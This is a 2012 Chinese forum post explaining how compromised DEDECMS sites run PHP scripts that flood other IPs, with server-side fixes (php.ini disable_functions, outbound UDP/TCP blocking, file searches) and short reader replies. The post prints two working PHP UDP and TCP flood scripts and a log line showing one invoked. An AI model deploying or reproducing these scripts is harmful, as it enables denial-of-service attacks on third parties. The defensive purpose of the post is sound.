找回密码
 加入怎通
查看: 1648|回复: 7

[原创] 服务器php对外发包引起崩溃的解决办法

[复制链接]
商摆小路 发表于 2012-06-12 13:06:58 | 显示全部楼层 |阅读模式
  服务器php对外发包引起崩溃的解决办法paopao最近老听人说,php对外发包,引起服务器崩溃或被机房查封,今天闲着无事和大家一起分享paopao我总结的DEDECMS php对外发包引发服务器崩溃的终极解决方法,希望可以帮助大家解决服务器问题,让网站运行的更好
$ ]( `" f( v" ~5 R9 w: x  一。php对外发包分析" K+ S3 y! W8 R5 H$ m  j" l  L
  用php代码调用sockets,直接用服务器的网络攻击别的IP,常见代码如下:
& z, X! T5 a9 X2 v8 i1 C  以下是代码片段:
+ }) D1 }. Y, e- o, A- |( u3 E  $packets = 0;  ]; {6 V% C- I% e) }) R
  $ip = $_GET[\'ip\'];
. E" B3 h  ~' u0 B, f  $rand = $_GET[\'port\'];
) }- c# ^3 y: e9 Y  set_time_limit(0);5 X8 E( O# F8 }7 Z
  ignore_user_abort(FALSE);
) F' j- |( e; ^- n" r  $exec_time = $_GET[\'time\'];sbxl-201206121 f& R% j6 @3 Q* Y8 Z* d
  $time = time();2 A! O0 A- a7 j
  print \'Flooded: $ip on port $rand5 _: j; c2 ?- g: c/ \
  \';
) `9 c4 B6 y! X! C" }' p( q- O  $max_time = $time+$exec_time;! j: T. {6 Q" i6 t  ]+ Y3 w- Q
  for($i=0;$i<65535;$i++){+ q2 v0 o0 ^( O$ S
  $out .= \'X\';' s/ u5 F6 T" n' }3 l3 g6 J
  }
8 e7 i' N) ^0 ]* X; U  while(1){
+ r1 j+ m& L- r/ @0 x  $packets++;) a1 b' _8 w; {3 |
  if(time() > $max_time){, k' Z0 E  \. L4 z4 l
  break;
2 l" P  t8 h: L  }
( a8 L1 O9 h* k' Z4 z2 ?) ]  $fp = fsockopen(\'udp://$ip\', $rand, $errno, $errstr, 5);
) |, T9 l* b/ H) `- @# }  if($fp){$ \2 c4 f" i! |( Q9 p
  fwrite($fp, $out);
9 V0 C: V3 ]% y& r( X3 @, x  fclose($fp);" I2 y/ Q% s; k' D, ]
  }
! t3 `% s% N# v0 i; c  }
3 }& v' X; y( h  echo \'Packet complete at \'.time(\'h:i:s\').\' with) P4 P1 V4 _1 V1 t! m! p$ Z
  $packets (\' . round(($packets*65)/1024, 2) . \' mB) packets averaging \'.
6 ^+ l1 S; m6 K, F& [% q% T5 J  round($packets/$exec_time, 2) . \' packets/s ;* ?' M! |) z+ e! L" F1 J
  ?>! X* ~+ c" b# ]0 o9 a
  二。表现特征3 p7 j. r! _, v
  一打开IIS,服务器的流出带宽就用光-----就是说服务器不断向别人发包,这个情况和受到DDOS攻击是不同的,DDOS是服务器不断收到大量数据包.7 g. z& S- O- k! j' L" q# v$ \, @3 O0 ]
  近期由于DEDECMS出现漏洞而导致大量服务器出现这个问题.6 c" v  b- D2 T2 p
  如何快速找到这些站?1 C1 Q/ Y, O- n1 O1 h0 z' D
  你可以打开日志4 }3 I4 ~3 A, p8 h7 a5 \# K* i
  C:\Windows\System32\LogFiles\HTTPERR\httperr...log,打开今天时间的文件,1 ?1 }) E# m7 R2 L, C
  里面有类似这样的记录:, ~$ [4 ]+ b3 g; H2 }. Q
  2012-04-26 06:37:28 58.255.112.112 26817 98.126.247.13 80 HTTP/1.1 GET /xxxx/xxxxxx.php?host=122.224.32.100&port=445&time=120 503 783 Disabled 30_FreeHost_19 L% \( }3 N- Z8 |' Y
  最后三项783 Disabled 30_FreeHost_1
* @! P5 L' A/ y  783就是这个站在IIS中的ID
5 F% U( n% N, C, z2 r  30_FreeHost_1就是所在池
$ N8 L! s6 Z, c$ f6 ^$ _" P. F( f$ C  三?解决办法
1 `2 Z/ [  ~2 h4 g- r. c  1.按上述找到这个网站后停止它.或停止池,并重启IIS.+ F3 P' f3 |; k- ?
  2.在IP策略,或防火墙中,禁止所有udp向外发送1 _# S: o& A  _! P, F0 k. Z
  在星外最新版本的安全包中,已带有4.0版本的IP策略【下载safe包】,您导入后就直接可以限制了外发的UDP包?下载这个包,之后导入安全策略?但这个策略并没有关闭DNS端口,部分攻击还是有效.& f$ ?: g, W/ k' X  h6 x7 T
  为了解决这个问题,你也可以调整IP策略,限制udp只能访问特定的DNS服务器IP,如8.8.8.8,除非黑客攻击这个IP,不然攻击也是无效的,你可以在网卡DNS中设置一个你才知道的DNS IP,并且不要公开,然后调用IP策略中的udp open部分就可以解决.(打开IP策略的属性,双击open,将open中的两条udp记录删除任意一条,在保留的这条中,双击,改成 地址 从源地址 任何地址 到目标地址'特定IP 这个IP就是设置为你自己的DNS IP,如8.8.8.8' 保存后就行了)
' W! A8 B, p% V( P$ `; o  在2011-4-27,我们上传了新的安全包,里面有一个'星外虚拟主机管理平台IP策略关闭所有UDP端口用.ipsec'文件,您可以导入它并启用,就可以关闭所有udp端口,就可以完全防止这类攻击,但是,这个策略由于关闭了DNS端口,会造成的这台服务器上无法用IE访问任何域名,因此,用户的采集功能也就用不了.(同样,如果在主控网站上用了这个策略,就会造成的受控自检不通过,因为解析不了域名,另外,部分用户反映此策略会造成的mysql不正常)
. V2 ?0 F& Y7 q) a! J  3.用一流信息监控,在SQL拦截及网址拦截中,拦截port=这个关键词(其他关键词可以删除.)* C+ m; j; J. l+ @; s, j) U
  4.也可以直接禁止上面的代码,如改win\php.ini后重启IIS8 k9 L+ r3 G4 B1 _/ s% e
  ignore_user_abort = On: \4 v& y; W8 }( |4 F2 B* a5 i' M
  (注意前面的;号要删除)2 q$ I9 j7 Z* K# \* P( x* w
  disable_functions =exec,system,passthru,popen,pclose,shell_exec,proc_open,curl_exec,multi_exec,dl,chmod,stream_socket_server,popepassthru,pfsockopen,gzinflate,6 L0 A0 b0 G( x  s
  在后面加上2 G2 }* U; a7 K. s4 l- g9 d$ f; l
  fsockopen,set_time_limit
5 d: w( ?6 p7 W9 C) X5 ]* L  H' |3 K  但这样会造成很多php程序都不正常.
# a1 V1 v0 I! f( T! k2 V5 g  另外,这也表明你的服务器安全做得不错,如果能入侵.黑客就直接提权了,还DOS做什么?
2 W2 W" H) F  I5 |1 q  近期已有新的基于TCP攻击的PHPDDOS代码如下:. s- P9 h6 U# \
  以下是代码片段:
; e5 s  r. j: u* d" g  set_time_limit(999999);) X$ s# F9 `( z7 z4 Q' ?' W
  $host = $_GET['host'];; V* I1 e- s( ], Z1 m# _
  $port = $_GET['port'];
2 g' R: H3 [* z. w4 b  $exec_time = $_GET['time'];7 Q! {+ B5 `  M# l  F
  $packets = 64;
; Q- f/ [" j3 P* A4 m- ~" o  ignore_user_abort(True);) N3 S8 x; ?6 l& ]# q& a3 Q
  if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){
& J  r9 o7 x+ n3 h1 x$ |9 j  if (StrLen($_GET['rat'])<>0){" r, `0 l/ B) Y3 h+ k
  echo $_GET['rat'].$_SERVER['HTTP_HOST'].'|'.GetHostByName($_SERVER['SERVER_NAME']).'|'.
+ I4 P% a( K4 C# d  php_uname().'|'.$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];
7 v: O( _4 L: M# Q) M  exit;9 V: r$ h/ ]- e. F+ _0 P
  }
2 A8 m+ G5 P8 b5 i; w: |  w6 d  exit;' e$ s" f3 L9 u2 S; a
  }
: F+ @! H8 m2 n) H. o( h( k/ S. g# R  $max_time = time()+$exec_time;
) s' G, W% L5 T  while(1){
6 U8 q8 G4 ]* q  $packets++;/ f) F- u' B9 U0 E8 F2 X
  if(time() > $max_time or $exec_time != 69){4 O% n5 x. _6 e3 K7 g7 b# ~4 W
  break;7 G8 u0 \. |& A# F4 i6 K  l
  }
& t0 `& x$ f- }, h  $fp = fsockopen('tcp://$host', $port, $errno, $errstr, 0);
. d+ z2 P# y' [6 Q. V/ v  }% l1 z. {8 j6 A; _
  ?>% P' _& a; ^" L! M7 H- k4 R
  同样,可以采有以下解决办法:
9 o% k/ I0 J/ k5 V& V  1.也可以直接禁止上面的代码,如改win\php.ini后重启IIS  y4 S( Q# a- L2 C
  ignore_user_abort = On" A# E- Z% u( y4 ]* g* }
  (注意前面的;号要删除)2 n- K$ D& ?: ^* ]
  disable_functions =exec,system,passthru,popen,pclose,shell_exec,proc_open,curl_exec,multi_exec,dl,chmod,stream_socket_server,popepassthru,pfsockopen,gzinflate,/ N0 b8 l) @# y8 S' {3 t- s
  在后面加上  Q: @& z: b$ }6 X! p$ b# [2 {4 B) D
  fsockopen,set_time_limit
7 c/ O- A, [7 f+ L$ }4 @  但这样会造成很多php程序都不正常. 如果您是IDC,给客户提供空间的,禁用函数可能导致客户程序无法运行,所以一般不要用此办法
4 z7 \( p' Z9 g# Z  [  2.在IP策略中禁止所有外访的TCP数据包,但这样会造成的采集功能无效,也不能用在主控服务器上?; G* v& \* U! {: y  s6 ]
  3.在服务器要用关键词tcp:或udp:搜索所有php类文件,找到攻击文件,删除它?, z8 m* X! w" P- j. o% i& T) u
        文章出自医院网站优化 http://www.ahyyqing.com,转载请注明出处。* R' \  F! f7 @$ }/ C

暂时无法加载帖子列表

回复

使用道具 举报

TONY 发表于 2012-06-12 13:39:53 | 显示全部楼层
很好 感谢分享啊
回复

使用道具 举报

幸福的蚂蚁 发表于 2025-11-10 20:26:34 | 显示全部楼层
分析得很透彻,很多细节都说到点子上了~
回复

使用道具 举报

DAIV 发表于 2026-02-17 01:26:21 | 显示全部楼层
楼主太厉害了,整理得这么详细,必须支持
回复

使用道具 举报

286888037 发表于 2026-03-31 17:08:47 | 显示全部楼层
完全赞同,我也是这么认为的,英雄所见略同~
回复

使用道具 举报

SAK 发表于 2026-07-13 01:37:23 | 显示全部楼层
这个思路很新颖,打开了新世界的大门,谢谢分享
回复

使用道具 举报

wjh00 发表于 2026-08-25 17:06:02 | 显示全部楼层
内容很干货,没有多余的废话,值得反复看
回复

使用道具 举报

微信482122055 发表于 2026-09-07 02:39:01 | 显示全部楼层
这个分享太实用了,刚好能用到,感谢楼主!
回复

使用道具 举报

    您需要登录后才可以回帖 登录 | 加入怎通

    本版积分规则

    QQ|手机版|小黑屋|网站地图|真牛社区 ( 苏ICP备2023040716号-2 )

    GMT+8, 2026-9-11 00:14 , Processed in 0.057409 second(s), 30 queries , Gzip On.

    免责声明:本站信息来自互联网,本站不对其内容真实性负责,如有侵权等情况请联系420897364#qq.com(把#换成@)删除。

    Powered by Discuz! X3.5

    快速回复 返回顶部 返回列表